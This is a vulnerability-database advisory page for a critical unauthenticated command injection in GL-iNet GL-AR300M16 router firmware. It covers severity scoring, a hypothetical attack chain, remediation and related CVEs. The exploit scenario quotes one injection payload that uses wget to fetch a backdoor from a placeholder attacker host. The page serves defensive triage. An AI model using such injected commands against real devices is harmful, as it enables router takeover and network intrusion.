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Ar300m16 Firmware CVE-2026-26791

CRITICAL
Command Injection (CWE-77)
2026-03-12 cve@mitre.org
9.8
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send crafted HTTP request to enable_echo_server
  2. Exploit
    Inject shell metacharacters in port parameter
  3. Execution
    Execute arbitrary system commands
  4. Impact
    Achieve complete device compromise

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

GL-iNet GL-AR300M16 running firmware v4.3.11 with enable_echo_server function accessible. No authentication required; remote unauthenticated exploitation against default network-exposed configurations.

Impact

CVSS 9.8 (Critical). Network vector, no auth, low complexity. Routers are perimeter devices – compromise enables traffic interception, DNS hijacking, and pivot to internal networks. EPSS 0.17%.

Exploit ScenarioDerived

An attacker sends a request to the GL-AR300M16 web interface with a port parameter containing shell commands (e.g., ';wget http://attacker/backdoor;'). The router executes the injected commands as root.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
No patch listed yet 0.2% exploitation probability (EPSS)

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AnalysisAIv1 – Mar 12, 2026

GL-iNet GL-AR300M16 router (v4.3.11) is vulnerable to command injection through the string port parameter in the enable_echo_server function. Unauthenticated attackers can execute arbitrary commands on the router.

Earlier versions of this analysis (1)
v1 Mar 12, 2026 - 19:57 CVSS 9.8

GL-iNet GL-AR300M16 v4.3.11 allows unauthenticated command injection via the enable_echo_server function's port parameter.

RemediationAI

Update firmware when a patch is available. Restrict management interface access to trusted networks. Disable UPnP and remote management.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The enable_echo_server function passes the port parameter to a system command without sanitization (CWE-77). Shell metacharacters in the port value are interpreted by the OS, enabling arbitrary command execution on the router.

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  • Exploit and PoC references, threat intelligence from 22 sources

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Severity by source

NVD PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

GL-iNet GL-AR300M16 v4.3.11 was discovered to contain a command injection vulnerability via the string port parameter in the enable_echo_server function. This vulnerability allows attackers to execute arbitrary commands via a crafted input.

Executive ViewAI

Why It Matters

GL-iNet GL-AR300M16 routers running v4.3.11 contain a critical command injection vulnerability that allows unauthenticated remote attackers to execute arbitrary commands with no patch currently available. Organizations using this router model face immediate risk of network compromise, data exfiltration, and lateral movement into corporate infrastructure.

Business Impact: Severe
Compensating Controls

Disable the echo_server function entirely if operationally feasible; implement strict network access controls limiting connectivity to affected routers (firewall rules, VLANs); deploy WAF/IDS rules to detect and block suspicious input to the port parameter; restrict administrative access to local/VPN only; monitor device logs for command injection patterns; consider temporary replacement with alternative router models; implement network segmentation to prevent compromised router from accessing sensitive systems.

Threat Intelligence Overview

EPSS Score
0.2%
Top 62% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Affected Products (CPE)CVE.org

cpe:2.3:o:gl-inet:ar300m16_firmware:4.3.11:*:*:*:*:*:*:*

Related Vulnerabilities in GL-iNet GL-AR300M16 Command Injection

View all 3
CVE-2024-39227 CRITICAL POC
9.8 Aug 06

GL-iNet products AR750/AR750S/AR300M/AR300M16/MT300N-V2/B1300/MT1300/SFT1200/X750 v4.3.11, MT3000/MT2500/AXT1800/AX1800/

CVE-2024-39228 CRITICAL POC
9.8 Aug 06

GL-iNet products AR750/AR750S/AR300M/AR300M16/MT300N-V2/B1300/MT1300/SFT1200/X750 v4.3.11, MT3000/MT2500/AXT1800/AX1800/

CVE-2024-39226 CRITICAL POC
9.8 Aug 06

GL-iNet products AR750/AR750S/AR300M/AR300M16/MT300N-V2/B1300/MT1300/SFT1200/X750 v4.3.11, MT3000/MT2500/AXT1800/AX1800/

CVE-2024-39225 CRITICAL POC
9.8 Aug 06

GL-iNet products AR750/AR750S/AR300M/AR300M16/MT300N-V2/B1300/MT1300/SFT1200/X750 v4.3.11, MT3000/MT2500/AXT1800/AX1800/

CVE-2024-45262 HIGH POC
8.8 Oct 24

An issue was discovered on certain GL-iNet devices, including MT6000, MT3000, MT2500, AXT1800, and AX1800 4.6.2. Rated h

CVE-2024-45261 HIGH POC
8.0 Oct 24

An issue was discovered on certain GL-iNet devices, including MT6000, MT3000, MT2500, AXT1800, and AX1800 4.6.2. Rated h

CVE-2024-45260 HIGH POC
8.0 Oct 24

An issue was discovered on certain GL-iNet devices, including MT6000, MT3000, MT2500, AXT1800, and AX1800 4.6.2. Rated h

CVE-2024-27356 HIGH POC
7.5 Feb 27

An issue was discovered on certain GL-iNet devices. Rated high severity (CVSS 7.5), this vulnerability is remotely explo

CVE-2024-45259 MEDIUM POC
6.5 Oct 24

An issue was discovered on certain GL-iNet devices, including MT6000, MT3000, MT2500, AXT1800, and AX1800 4.6.2. Rated m

CVE-2026-26795 CRITICAL
9.8 Mar 12

GL-iNet GL-AR300M16 v4.3.11 contains another command injection vulnerability, this time via the module parameter in the

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